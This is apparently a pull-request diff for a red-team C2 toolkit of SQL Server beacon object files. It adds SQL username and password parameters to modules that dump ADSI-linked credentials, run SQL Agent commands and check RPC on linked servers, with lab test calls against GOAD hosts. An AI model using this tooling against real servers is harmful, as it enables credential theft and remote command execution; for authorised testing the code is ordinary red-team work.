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Implement SQL Authentication #11

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bc7786c
Implement OST C2 wrappers
martanne Aug 29, 2025
ee2c819
Support SQL authentication
martanne Aug 30, 2025
244b637
Update OST C2 wrappers
martanne Aug 29, 2025
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597 changes: 597 additions & 0 deletions SQL/SQL_bof.s1.py
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24 changes: 15 additions & 9 deletions src/SQL/adsi/entry.c
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Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ void* RunThreadedQuery(LPVOID threadData) {
intFree(query);
}

void DumpAdsiCreds(char* server, char* database, char* link, char* impersonate, char* adsiServer, char* port)
void DumpAdsiCreds(char* server, char* user, char* password, char* database, char* link, char* impersonate, char* adsiServer, char* port)
{
SQLHENV env = NULL;
SQLHSTMT stmt = NULL;
Expand All @@ -58,11 +58,11 @@ void DumpAdsiCreds(char* server, char* database, char* link, char* impersonate,

if (link == NULL)
{
dbc = ConnectToSqlServer(&env, server, database);
dbc = ConnectToSqlServer(&env, server, user, password, database);
}
else
{
dbc = ConnectToSqlServer(&env, server, NULL);
dbc = ConnectToSqlServer(&env, server, user, password, NULL);
}

if (dbc == NULL) {
Expand Down Expand Up @@ -245,11 +245,11 @@ void DumpAdsiCreds(char* server, char* database, char* link, char* impersonate,
internal_printf("[*] Creating a second connection to the SQL server for threaded query\n");
if (link == NULL)
{
dbc2 = ConnectToSqlServer(&env2, server, database);
dbc2 = ConnectToSqlServer(&env2, server, user, password, database);
}
else
{
dbc2 = ConnectToSqlServer(&env2, server, NULL);
dbc2 = ConnectToSqlServer(&env2, server, user, password, NULL);
}

if (dbc2 == NULL) {
Expand Down Expand Up @@ -371,6 +371,8 @@ VOID go(
)
{
char* server;
char* user;
char* password;
char* database;
char* link;
char* impersonate;
Expand All @@ -383,13 +385,17 @@ VOID go(
datap parser;
BeaconDataParse(&parser, Buffer, Length);
server = BeaconDataExtract(&parser, NULL);
user = BeaconDataExtract(&parser, NULL);
password = BeaconDataExtract(&parser, NULL);
database = BeaconDataExtract(&parser, NULL);
link = BeaconDataExtract(&parser, NULL);
impersonate = BeaconDataExtract(&parser, NULL);
adsiServer = BeaconDataExtract(&parser, NULL);
port = BeaconDataExtract(&parser, NULL);

server = *server == 0 ? "localhost" : server;
user = *user == 0 ? NULL : user;
password = *password == 0 ? NULL : password;
database = *database == 0 ? "master" : database;
link = *link == 0 ? NULL : link;
impersonate = *impersonate == 0 ? NULL : impersonate;
Expand All @@ -404,7 +410,7 @@ VOID go(
return;
}

DumpAdsiCreds(server, database, link, impersonate, adsiServer, port);
DumpAdsiCreds(server, user, password, database, link, impersonate, adsiServer, port);
printoutput(TRUE);
};

Expand All @@ -413,13 +419,13 @@ VOID go(
int main()
{
internal_printf("============ BASE TEST ============\n\n");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "ADSIr", "4444");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", NULL, NULL, "ADSIr", "4444");

internal_printf("\n\n============ IMPERSONATE TEST ============\n\n");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "ADSIr", "4444");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", NULL, "sa", "ADSIr", "4444");

internal_printf("\n\n============ LINK TEST ============\n\n");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "ADSIEssos", "4444");
DumpAdsiCreds("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", "BRAAVOS", NULL, "ADSIEssos", "4444");
}

#endif
20 changes: 13 additions & 7 deletions src/SQL/agentcmd/entry.c
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Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
#include "sql_agent.c"


void ExecuteAgentCommand(char* server, char* database, char* link, char* impersonate, char* command)
void ExecuteAgentCommand(char* server, char* user, char* password, char* database, char* link, char* impersonate, char* command)
{
SQLHENV env = NULL;
SQLHSTMT stmt = NULL;
Expand All @@ -17,11 +17,11 @@ void ExecuteAgentCommand(char* server, char* database, char* link, char* imperso

if (link == NULL)
{
dbc = ConnectToSqlServer(&env, server, database);
dbc = ConnectToSqlServer(&env, server, user, password, database);
}
else
{
dbc = ConnectToSqlServer(&env, server, NULL);
dbc = ConnectToSqlServer(&env, server, user, password, NULL);
}

if (dbc == NULL) {
Expand Down Expand Up @@ -168,6 +168,8 @@ VOID go(
)
{
char* server;
char* user;
char* password;
char* database;
char* link;
char* impersonate;
Expand All @@ -180,12 +182,16 @@ VOID go(
BeaconDataParse(&parser, Buffer, Length);

server = BeaconDataExtract(&parser, NULL);
user = BeaconDataExtract(&parser, NULL);
password = BeaconDataExtract(&parser, NULL);
database = BeaconDataExtract(&parser, NULL);
link = BeaconDataExtract(&parser, NULL);
impersonate = BeaconDataExtract(&parser, NULL);
command = BeaconDataExtract(&parser, NULL);

server = *server == 0 ? "localhost" : server;
user = *user == 0 ? NULL : user;
password = *password == 0 ? NULL : password;
database = *database == 0 ? "master" : database;
link = *link == 0 ? NULL : link;
impersonate = *impersonate == 0 ? NULL : impersonate;
Expand All @@ -200,7 +206,7 @@ VOID go(
return;
}

ExecuteAgentCommand(server, database, link, impersonate, command);
ExecuteAgentCommand(server, user, password, database, link, impersonate, command);

printoutput(TRUE);
};
Expand All @@ -213,13 +219,13 @@ int main()
// GOAD uses SQLExpress so turning to makeshift lab here
//
internal_printf("============ BASE TEST ============\n\n");
ExecuteAgentCommand("192.168.0.215", "master", NULL, NULL, "notepad.exe");
ExecuteAgentCommand("192.168.0.215", NULL, NULL, "master", NULL, NULL, "notepad.exe");

internal_printf("\n\n============ IMPERSONATE TEST ============\n\n");
ExecuteAgentCommand("192.168.0.215", "master", NULL, "sa", "notepad.exe");
ExecuteAgentCommand("192.168.0.215", NULL, NULL, "master", NULL, "sa", "notepad.exe");

internal_printf("\n\n============ LINK TEST ============\n\n");
ExecuteAgentCommand("192.168.0.215", "master", "TRETOGOR", NULL, "notepad.exe");
ExecuteAgentCommand("192.168.0.215", NULL, NULL, "master", "TRETOGOR", NULL, "notepad.exe");
}

#endif
20 changes: 13 additions & 7 deletions src/SQL/agentstatus/entry.c
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Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
#include "sql_agent.c"


void CheckAgentStatus(char* server, char* database, char* link, char* impersonate)
void CheckAgentStatus(char* server, char* user, char* password, char* database, char* link, char* impersonate)
{
SQLHENV env = NULL;
SQLHSTMT stmt = NULL;
Expand All @@ -15,11 +15,11 @@ void CheckAgentStatus(char* server, char* database, char* link, char* impersonat

if (link == NULL)
{
dbc = ConnectToSqlServer(&env, server, database);
dbc = ConnectToSqlServer(&env, server, user, password, database);
}
else
{
dbc = ConnectToSqlServer(&env, server, NULL);
dbc = ConnectToSqlServer(&env, server, user, password, NULL);
}

if (dbc == NULL) {
Expand Down Expand Up @@ -82,6 +82,8 @@ VOID go(
)
{
char* server;
char* user;
char* password;
char* database;
char* link;
char* impersonate;
Expand All @@ -93,11 +95,15 @@ VOID go(
BeaconDataParse(&parser, Buffer, Length);

server = BeaconDataExtract(&parser, NULL);
user = BeaconDataExtract(&parser, NULL);
password = BeaconDataExtract(&parser, NULL);
database = BeaconDataExtract(&parser, NULL);
link = BeaconDataExtract(&parser, NULL);
impersonate = BeaconDataExtract(&parser, NULL);

server = *server == 0 ? "localhost" : server;
user = *user == 0 ? NULL : user;
password = *password == 0 ? NULL : password;
database = *database == 0 ? "master" : database;
link = *link == 0 ? NULL : link;
impersonate = *impersonate == 0 ? NULL : impersonate;
Expand All @@ -112,7 +118,7 @@ VOID go(
return;
}

CheckAgentStatus(server, database, link, impersonate);
CheckAgentStatus(server, user, password, database, link, impersonate);

printoutput(TRUE);
};
Expand All @@ -125,13 +131,13 @@ int main()
// GOAD uses SQLExpress so turning to makeshift lab here
//
internal_printf("============ BASE TEST ============\n\n");
CheckAgentStatus("192.168.0.215", "master", NULL, NULL);
CheckAgentStatus("192.168.0.215", NULL, NULL, "master", NULL, NULL);

internal_printf("\n\n============ IMPERSONATE TEST ============\n\n");
CheckAgentStatus("192.168.0.215", "master", NULL, "sa");
CheckAgentStatus("192.168.0.215", NULL, NULL, "master", NULL, "sa");

internal_printf("\n\n============ LINK TEST ============\n\n");
CheckAgentStatus("192.168.0.215", "master", "TRETOGOR", NULL);
CheckAgentStatus("192.168.0.215", NULL, NULL, "master", "TRETOGOR", NULL);
}

#endif
20 changes: 13 additions & 7 deletions src/SQL/checkrpc/entry.c
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Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#include "sql.c"


void CheckRpc(char* server, char* database, char* link, char* impersonate)
void CheckRpc(char* server, char* user, char* password, char* database, char* link, char* impersonate)
{
SQLHENV env = NULL;
SQLHSTMT stmt = NULL;
Expand All @@ -13,11 +13,11 @@ void CheckRpc(char* server, char* database, char* link, char* impersonate)

if (link == NULL)
{
dbc = ConnectToSqlServer(&env, server, database);
dbc = ConnectToSqlServer(&env, server, user, password, database);
}
else
{
dbc = ConnectToSqlServer(&env, server, NULL);
dbc = ConnectToSqlServer(&env, server, user, password, NULL);
}

if (dbc == NULL) {
Expand Down Expand Up @@ -65,6 +65,8 @@ VOID go(
)
{
char* server;
char* user;
char* password;
char* database;
char* link;
char* impersonate;
Expand All @@ -76,12 +78,16 @@ VOID go(
BeaconDataParse(&parser, Buffer, Length);

server = BeaconDataExtract(&parser, NULL);
user = BeaconDataExtract(&parser, NULL);
password = BeaconDataExtract(&parser, NULL);
database = BeaconDataExtract(&parser, NULL);
link = BeaconDataExtract(&parser, NULL);
impersonate = BeaconDataExtract(&parser, NULL);

server = *server == 0 ? "localhost" : server;
database = *database == 0 ? "master" : database;
user = *user == 0 ? NULL : user;
password = *password == 0 ? NULL : password;
link = *link == 0 ? NULL : link;
impersonate = *impersonate == 0 ? NULL : impersonate;

Expand All @@ -95,7 +101,7 @@ VOID go(
return;
}

CheckRpc(server, database, link, impersonate);
CheckRpc(server, user, password, database, link, impersonate);

printoutput(TRUE);
};
Expand All @@ -105,13 +111,13 @@ VOID go(
int main()
{
internal_printf("============ BASE TEST ============\n\n");
CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, NULL);
CheckRpc("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", NULL, NULL);

internal_printf("\n\n============ IMPERSONATE TEST ============\n\n");
CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, "sa");
CheckRpc("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", NULL, "sa");

internal_printf("\n\n============ LINK TEST ============\n\n");
CheckRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL);
CheckRpc("castelblack.north.sevenkingdoms.local", NULL, NULL, "master", "BRAAVOS", NULL);
}

#endif
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